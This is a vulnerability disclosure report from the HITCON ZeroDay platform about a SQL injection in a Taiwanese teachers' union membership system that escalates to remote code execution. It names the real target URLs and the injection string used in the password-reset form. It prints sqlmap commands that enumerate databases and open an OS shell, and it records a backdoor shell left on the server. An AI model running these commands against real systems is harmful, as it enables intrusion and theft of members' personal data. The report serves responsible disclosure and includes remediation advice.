Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01160
- Vendor: 臺南市教育產業工會
- Title: 臺南市教育產業工會 會籍系統 SQLi to RCE
- Introduction: SQL注入,RCE
處理狀態
目前狀態
公開
Last Update : 2024/11/22
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/09/22 20:05:43 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/09/22 21:28:08 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/09/25 17:25:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 15:44:41 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 15:44:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 15:44:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/22 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01160
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://intra.nftu.org.tw/pswForget.aspx
https://intra.nftu.org.tw/index.aspx
http://www.tneu.org.tw/tneu/uploads/tadnews/
https://intra.nftu.org.tw/index.aspx
http://www.tneu.org.tw/tneu/uploads/tadnews/
敘述
在會籍系統登入介面嘗試注入未發現注入點,但發現驗證碼刷新頁面與登入失敗不會自動換一個,建議修改。
之後在忘記密碼嘗試寫入'OR '1'='1'-- ,發現提示傳送郵件,而非查無帳號,懷疑有SQL注入漏洞,以SQLmap測試,成功獲得資料庫,發現是DBA權限,進一步嘗試RCE也成功。
Payload:
python sqlmap.py -r "test.txt" -p db_UserAccount --threads 10 --random-agent --dbs --batch
python sqlmap.py -r "test.txt" -p db_UserAccount --threads 10 --random-agent --os-shell --batch
進行的網站安全測試是出於對網路安全的關心,並沒有任何惡意的企圖。我希望透過測試,找出潛在的安全漏洞,幫助網站提升防護措施。上傳的shell寫在C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQL2019STD\MSSQL\Log\ERRORLOG,請協助刪除後門、關閉日誌的執行權限並停用xp_cmdshell。
另外Index of未關閉,雖然未看到甚麼敏感文件,但還是建議關閉。
修補建議
最小權限:確保查詢和操作不使用 DBA 權限,減少高權限帳戶的濫用風險。
日誌檔案權限管理:移除日誌檔案的執行權限,防止日誌被利用為執行腳本。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。